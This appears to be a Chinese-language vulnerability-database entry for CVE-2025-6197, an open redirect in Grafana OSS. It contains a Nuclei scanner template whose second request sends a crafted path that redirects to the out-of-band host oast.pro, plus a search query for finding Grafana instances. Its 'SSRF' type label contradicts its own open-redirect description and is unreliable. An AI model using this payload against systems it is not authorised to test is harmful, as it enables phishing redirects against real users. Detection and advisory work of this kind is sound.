Grafana OSS Open Redirect via Organization Switching Vulnerability

漏洞信息

漏洞名称： Grafana OSS Open Redirect via Organization Switching Vulnerability

漏洞编号：

• CVE： CVE-2025-6197

漏洞类型： 服务端请求伪造

漏洞等级： 中危

漏洞描述： Grafana OSS是一个开源的指标分析和可视化套件，广泛应用于监控和可观察性领域，支持多种数据源，常用于企业级监控系统中。该漏洞存在于Grafana OSS的组织切换功能中，允许攻击者通过构造特定的URL，将用户重定向到恶意网站。这种开放重定向漏洞的利用前提是Grafana实例中存在多个组织，并且受害者必须位于与URL中指定的组织不同的组织上。漏洞的根本原因在于对用户提供的URL参数缺乏充分的验证和过滤，导致攻击者可以插入恶意的重定向目标。这种漏洞可能导致用户被诱导访问恶意网站，进而遭受钓鱼攻击或其他安全威胁。虽然该漏洞的严重性被评估为中危，但它仍然需要用户交互才能被利用，且攻击者需要了解目标Grafana实例的组织结构。

产品厂商： Grafana

产品名称： Grafana OSS

搜索语法： html:”grafana”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/e62d424bdfecca57e3e974b94d3995301fb84c3c/http%2Fcves%2F2025%2FCVE-2025-6197.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2025-6197

info:
  name: Open Redirect via Organization Switching
  author: iamnoooob,pdresearch
  severity: medium
  description: |
    An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL
  reference:
    - https://grafana.com/blog/2025/07/17/grafana-security-release-medium-and-high-severity-fixes-for-cve-2025-6197-and-cve-2025-6023/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6197
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"grafana"
  tags: cve,cve2025,redirect,grafana,open-redirect

variables:
  username: "{{username}}"
  password: "{{password}}"
  orgid: "{{orgid}}"

flow: http(1) && http(2)

http:

  - raw:
      - |
        POST /login HTTP/1.1
        Host: {{Hostname}}
        accept: application/json, text/plain, */*
        DNT: 1
        content-type: application/json
        Origin: {{RootURL}}
        Referer: {{RootURL}}/login
        Cookie: redirect_to=%2F

        {"user":"{{username}}","password":"{{password}}"}

    extractors:
      - type: dsl
        dsl:
          - username
          - password

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Logged in'

      - type: word
        part: header
        words:
          - 'grafana_session'

      - type: status
        status:
          - 200

  - raw:
      - |
        GET /%2f%5coast.pro?orgId={{orgid}} HTTP/1.1
        Host: {{Hostname}}

    redirects: true

    matchers:
      - type: dsl
        name: open-redirect
        dsl:
          - status_code == 302
          - contains(location, '//\oast.pro?')
        condition: and